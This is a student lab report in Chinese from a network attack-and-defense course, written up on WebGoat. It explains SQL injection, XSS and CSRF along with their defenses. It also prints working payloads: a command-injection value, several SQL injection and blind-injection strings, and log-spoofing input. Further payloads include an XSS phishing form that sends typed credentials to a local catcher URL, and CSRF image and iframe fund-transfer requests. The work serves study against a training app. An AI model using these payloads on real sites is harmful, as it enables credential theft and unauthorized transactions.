2018-2019-2 《网络对抗技术》Exp9 Web安全基础 20165114

Exp9 Web安全基础

目录


1、实验内容

  • 本实践的目标理解经常使用网络攻击技术的基本原理。
  • 作很多于7个题目,包括SQL,XSS,CSRF。
  • Webgoat实践下相关实验。

2、基础问题回答

1. SQL注入攻击原理,如何防护

原理:javascript

  • 应用程序会将您的输入带入后台的SQL查询语句。
  • Web应用对后台数据库查询语句处理存在的安全漏洞。
  • 即为:在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认做正常SQL指令后正常执行,可能实现对后台数据库进行各类操做,甚至 形成破坏后台数据库等严重后果。

防护:html

  • 使用正则表达式过滤传入的参数。
  • jsp中调用函数检查是否包函非法字符,作好规范的校验工做,好比搜索框不能输入非法字符、限制输入的长度等。
  • 使用prepared statements语句绑定变量来执行SQL字符串。没有使用prepared statements语句绑定变量可能很容易受到攻击。

2. XSS攻击的原理,如何防护

原理:前端

  • 攻击者利用网站程序对用户输入过滤不足,输入能够显示在页面上对其余用户形成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动做或者对访问者进行病毒侵害的一种攻击方式。
  • 攻击者经过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

防护:java

  • 特征匹配方式,在全部提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法通常会须要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
  • 对全部用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其余的一概过滤。
  • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也没法窃取此 Cookie。
  • 使用验证码:防止脚本冒充用户提交危险操做。

3. CSRF攻击原理,如何防护

原理:git

  • CSRF(Cross site request forgery),即跨站请求伪造。咱们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来得到其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,由于该请求不是用户本意,因此称为“跨站请求伪造”。
  • CSRF通常的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登陆)用户访问某特定网页时,若是用户点击了该URL,那么攻击就触发了,咱们能够在该恶意的url对应的网页中,利用 来向目标网站发生一个get请求,该请求会携带cookie信息,因此也就借用了用户的身份,也就是伪造了一个请求,该请求能够是目标网站中的用户有权限访问的任意请求。也可使用javascript构造一个提交表单的post请求。好比构造一个转帐的post请求。
  • 因此CSRF的攻击分为了两步,首先要注入恶意URL地址,而后在该地址中写入攻击代码,利用 等标签或者使用Javascript脚本。

防护:github

  • referer。由于伪造的请求通常是从第三方网站发起的,因此第一个防护方法就是判断 referer 头,若是不是来自本网站的请求,就断定为CSRF攻击。可是该方法只能防护跨站的csrf攻击,不能防护同站的csrf攻击(虽然同站的csrf更难)。
  • 使用验证码。每个重要的post提交页面,使用一个验证码,由于第三方网站是没法得到验证码的。还有使用手机验证码,好比转帐是使用的手机验证码。
  • 使用token。每个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,若是token不对,就断定位CSRF攻击。将敏感操做又get改成post,而后在表单中使用token. 尽可能使用post也有利于防护CSRF攻击。

返回目录web


3、实践过程记录

实验准备

1. 安装JDK
  • JDK下载地址
  • JDK安装和配置教程
  • 在安装WebGoat前须要将JDK安装并配置好。不然进入WebGoat也没法查看到实验教程。以下图所示,未能显示正确的实验教程。
2. 安装WebGoat

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操做隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。正则表达式

  • 下载java -jar webgoat-container-7.0.1-war-exec.jarsql

  • 在终端输入命令运行WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar.
  • 当显示以下图的Starting ProtocolHandler ["http-bio-8080"]时,可进行下一步操做。使用过程当中不要关闭终端。
    数据库

  • 浏览器打开http://127.0.0.1:8080/WebGoat/login.mvc ,以下图有登陆的帐号和密码,用guest登陆便可。

  • 登陆后便可看到以下图所示的各个实验教程。solution是答案,hints是提示。

返回目录


3.1 注入缺陷Injection Flaws


(1)命令注入(Command Injection)

  • 原理:在正常的参数提交过程当中,添加恶意的代码,每每可以获得之外的收获。
  1. 右键表单选择框的下拉框,选择Inspect Element(Q),而后修改源代码。

  2. 在任意一个选项其后加上代码:"& netstat -an & ipconfig"
  3. 选择这个修改后的选项,点击View

  4. 能够发如今这个页面中能看到网络端口使用状况和IP地址。经过这种方式实现了攻击。

  5. 若是不攻击的话,是下图的状况。


(2)数字型SQL注入(Numeric SQL Injection)

  • 原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。SELECT * FROM weather_data WHERE station = [station]
  1. 为了看到全部的信息,进行SQL注入,右键表单选择框的下拉框,选择Inspect Element(Q),而后修改源代码。
  2. 在某个选项的value值后面,加上代码 or 1=1,使该式子成为永真式。

  3. SELECT * FROM weather_data WHERE station = 101 or 1 = 1。因为后面是永真式,这样会执行语句 SELECT * FROM weather_data,能够查询到全部的信息。

返回目录



(3)日志欺骗(Log Spoofing)

  • 原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者能够利用这种方式清除他们在日志中的痕迹。
  • 目标:灰色区域表明在 Web服务器的日志中的记录的内容。您的目的是使用户名为admin的用户在日志中显示“成功登陆”。升级您的攻击,例如:在日志文件中插入脚本。
  1. user name一栏中输入DQY Login Succeeded for username: admin,密码随意输入。提交后能够发现,灰色区域的用户名后面的信息会在同一行显示,而不是在新的一行。

  2. 还能够往该应用中注入回车(0D%)和换行符(%0A)。在 username 中填入20165114%0d%0aLogin Succeeded for username: admin,这样就完成了该课程.

  3. 攻击者还能够利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员可以经过浏览器看到。若是把admin <script>alert(document.cookie)</script>做为用户名输入,可以得到登陆用户的cookie


(4)字符串型注入(String SQL Injection)

  • 原理:应用程序会将您的输入带入后台的 SQL 查询语句,使用SQL注入绕过认证。
  1. 因为密码的长度有限制,因此咱们先修改密码输入框的容许输入长度。将maxlength设置为20甚至更大。

  2. 能够用admin的身份登陆,密码框里输入' or 1=1 --,而后就能成功以Necille的身份登陆成功。能够查看任意用户的信息等等。

  3. 能够编辑用户信息、删除信息等等。注入成功。


(5)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)

  1. 首先使用用户名Larry和密码larry登陆,浏览员工信息的按钮是ViewProfile

  2. 右键审查网页元素。
  3. 在员工ID:101后面加上or 1=1 order by salary desc进行SQL注入排序,其中desc表示使用降序排列。

  4. 能够看到此处是用员工ID做为索引来传送数据的,感受这里的数据库应该是以员工ID做为索引,返回的是每次查询到的第一条数据。用社会工程学解释老板应该是工资最高的,因此为了把老板排到第一个,添加降序排列的代码。
  5. 以下图,看见了老板的信息,还能够修改,攻击成功。

返回目录



(6)数字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些 SQL 注入是没有明确返回信息的,只能经过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
  • 目标:下面的表单容许输入一个账号,并检测该账号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。您的目标是找到 pins 表中 cc_number 字段值为 1111222233334444的记录中 pin 字段的数值。pin字段类型为int,整型。输入找到的数值并提交,经过本课程。
  1. 本节课程中,服务端页面返回的信息只有两种:账号有效或无效。所以没法简单地查询到账号的 PIN 数值。尽管如此,咱们能够利用系统后台在用的查询语句。查询语句以下:SELECT * FROM user_data WHERE userid=accountNumber;
  2. 若是该查询语句返回了账号的信息,页面将提示账号有效,不然提示无效。使用AND函数,咱们能够添加一些额外的查询条件。若是该查询条件一样为真,则返回结果提示账号有效,不然无效。例以下面两个查询方式:
    101 AND 1=1
    101 AND 1=2
    在第一条语句中,两个条件都成立,因此页面返回账号有效。而第二条则返回账号无效。
  3. 如今能够针对查询语句的后半部分构造复杂语句。下面的语句能够告诉咱们 PIN 数值是否大于10000。
    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  4. 若是页面提示账号有效,说明 PIN>10000 不然PIN<=10000。不断调整数值,能够缩小判断范围,并最终判断出 PIN 数值的大小。
  5. 最终以下语句返回账号有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
  6. 在查询框中输入 2364 并提交,经过本节课程。


(7)字符串型盲注入(Blind String SQL Injection)

  • 原理:与上一个数字型盲注入基本相同,只是pin 字段类型为varchar
  • 目标:输入找到的数值(最终的字符串,注意拼写和大写)并提交。
  1. 本节课程很是相似与上一节。最大的不一样是要查询的字段是一个字符串而不是数值。所以咱们一样能够经过注入的方式查找到该字段的值。查询语句很是相似上一节,以下:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
  2. 该语句使用了SUBSTRING方法,取得pin字段数值的第一个字母,并判断其是否比字母“H”小。SUBSTRING 语法以下:SUBSTRING(STRING,START,LENGTH)通过屡次测试(比较0-9A-Za-z等字符串)和页面的返回数据,判断出第一个字符为“J”

  3. 同理继续判断第二个字符。101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) <'h' );
  4. 最终,判断出pin字段的值为:Jill。提交该值,经过本节课程。

返回目录


3.2 跨站脚本攻击Cross‐Site Scripting (XSS)


(1)使用XSS钓鱼(Phishing with XSS)

  • 原理:HTML 文档的内容是能够被篡改的,若是您有权限操做页面源代码。
  • 目标:建立一个 form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
  • 操做方法:
  1. 利用 XSS 能够在已存在的页面中进一步添加元素。该解决方案包括两部分,您须要结合起来使用:
    • 受害人填写一个表格;
    • 以读取脚本的形式,将收集到的信息发送给攻击者。
  2. 一个带用户名和密码输入框的表格以下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>

3 搜索这段代码,您就能看到页面中增长了一个表单。
4 如今您须要一段脚本:

<script>
function hack()
{ 
alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " +document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" +document.forms[0].pass.value + "";
}
</script>

5 最后,就是要将这两段代码合并。最终须要输入的代码以下:

</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

6 这段代码会读取您在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat。

返回目录



(2)存储型XSS攻击(Stored XSS Attacks)

  • 目标:建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容。
  • 操做:
    1 在 title 中任意输入字符。在Message中输入如下代码:<script>alert('20165114')</script>
    2 而后下面会出现title 中输入的字符,点击该连接,这就比如您刚建立的帖子,由您或者其余人浏览,而后会弹出一个对话框,,写着20165114,证实 XSS 攻击成功。

3 或者更为复杂的,若是用如下的代码。

<head> 
   <body> 
      <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div>
            <div style="float:left;height:100px;width:50%;background-color:orange;"></div> 
     </div> <div style="background-color:grey;height:200px;clear:both;"></div>  
</div></div> 
</form>  
<script> function hack()
{  
   XSSImage=new Image;
   XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); 
}  
</script> 
<form name="phish"> <br> <br> <HR>  
   <H2>This feature requires account login:</H2> <br>  
      <br>Enter Username:<br>   <input type="text" name="user">  
      <br>Enter Password:<br>   <input type="password" name = "pass"> <br>  
      <input type="submit" name="login" value="login" onclick="hack()"> 
</form> <br> <br> <HR>
    </body> 
</head>

4 点击连接以后,会出现黄色、橙色、灰色的div滑块,下面还会出现输入用户名和密码的表单。

5 若是受害者输入就会成功被截获用户名和密码。以下图:

返回目录



(3)反射型XSS攻击(Reflected XSS Attacks)

1 在Enter your three digit access code中输入以下代码:<script>alert('you are a loser!')</script>
2 点击Purchase,成功显示警告框,内容为咱们script脚本写的you are a loser!。攻击成功。

返回目录


3.3 关于CSRF的攻击


(1)跨站请求伪造(Cross Site Request Forgery (CSRF))

  • 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。以下代码所示:<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
    当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会获得一个图片,但其实是一种资金转移功能。该请求将包括与网站相关的任何cookies。所以,若是用户已经经过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是不是一个从合法用户发出的请求。经过这种方法,攻击者可让受害者执行一些他们原本没打算执行的操做,如注销、采购项目或者这个脆弱的网站提供的任何其余功能。
  • 目的:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的 URL 指向一个恶意请求。尝试一个包括 1*1像素的图像,其中包含一个网址。这个URL应当用一个额外的参数“transferFunds= 4000”指向CRSF课程页面。您能够经过左侧菜单在CSRF课程链接上右键单击,选择复制快捷方式。不管谁收到这封邮件,并刚好已经经过身份验证,他的资金将会被转走。
  • 注意:不一样 WebGoat 环境的URL中“Screen ”和“Menu”参数可能会有所区别。请使用当前访问 URL 中正在使用的参数。
  • 根据当前访问 URL中的scr和menu在消息框中嵌入 HTML 代码。这段代码中包含一个图片,连接到一个网站。<img src="http://localhost/WebGoat/attack?Screen=273&menu=2900&transferFunds=5000" width="1" height="1" />

  • 提交后会发现连接,点击该连接。

  • 点击该连接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了。

返回目录



(2)绕过CSRF确认(CSRF Prompt By‐Pass)

  • 能够在title框中输入学号,在message框中输入下面的代码
<iframe src="attack?Screen=277&menu=900&transferFunds=5114"> </iframe>
<iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
  • 下图即为攻击成功。

返回目录


4、实验总结与体会

  • 这次实验总体比较顺利,可是因为本身英语水平有限,阅读英文解释等等稍微有些困难。但也在阅读他人博客等等方式完成了实验。
  • 这次实验经过对多个SQL注入和XSS攻击,CSRF攻击的课程学习,我接触到了更多的不一样实际状况下的各类对web的攻击,也在这个实践的过程当中感觉了不少现实状况下对漏洞的侵害。咱们做为用户,在不少状况下,一旦在来历不明的链接中输入用户名和密码就,就会被截获密码信息等,十分危险。各类攻击方法复杂繁多,防护方法也不少,可是在一些比较薄弱的网站,就很容易被攻击成功。站在我的角度,提升防范意识十分重要,做为学习网络攻击知识的学生,深刻学习原理,从根源上防护攻击,学习好知识技能十分重要。

返回目录


参考资料

前端安全系列(一):如何防止XSS攻击?
CSRF 攻击原理和防护方法
总结 XSS 与 CSRF 两种跨站攻击
WebGoat+中文手册+v2.2

相关文章
相关标签/搜索